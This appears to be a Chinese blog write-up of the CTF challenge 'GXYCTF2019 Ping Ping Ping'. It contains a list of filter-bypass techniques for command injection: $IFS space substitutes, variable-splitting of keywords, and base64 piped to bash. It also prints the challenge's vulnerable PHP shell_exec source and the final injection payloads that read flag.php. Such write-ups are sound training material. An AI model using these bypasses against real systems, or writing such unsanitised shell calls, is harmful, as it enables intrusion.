[GXYCTF2019]Ping Ping Ping

[GXYCTF2019]Ping Ping Ping

命令执行相关的漏洞,正常可以执行,然后测试测试哪些符号或者命令可能被过滤掉了

image-20220505101406322

发现简单的 ; 符号都没过滤,直接 cat 一下 flag.php 吧

image-20220505101521474

发现这里有过滤 空格 ,可以试试其他绕过空格限制的方法。

# Linux 下绕过空格限制
$IFS # Internal Field Separator (内部字段分隔符)默认为(空格、制表符、换号)。
${IFS}
$IFS$1 //改成$[1,2,3,4,5,6,7,8,9]
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能
%20 
%09 
$'\x20'

# 过滤关键字
a=g;b=fla$a.php;cat$IFS$1$b  # 赋值引用
ca\t fl\ag.php	# 不影响命令执行
cat f*.php		# 匹配关键字
echo  "Y2F0IGZsYWcucGhw" | base64 -d | bash  # cat flag.php的base64编码通过管道执行
cat `ls` #ls出来的文件名都会被cat

image-20220505101725643

经过一系列的尝试和奔溃,发现过滤了 ['、{}、flag严格的匹配、空格、<、%、?、*],最终还是发现了蛛丝马迹啊。

image-20220505111831343

# payload
?ip=127.0.0.1;cat$IFS$1index.php
    
# 源码
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "

";
  print_r($a);
}

# 简直都快过滤的一点不剩了这。

但是可以发现 $IFS$1和 $ 号 并没有被过滤,说明还是不是很严格啊。

# 利用linux中的赋值将flag.php字符串分开,再引用变量构造payload
?ip=127.0.0.1;a=f;b=ag;c=l;cat$IFS$a$c$b.php

image-20220505113138031

没看到 flag 啊啊 啊 啊 !不要慌 [Ctrl+Shift+i] 试试。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

iKnsec

您的鼓励,是我创作的动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值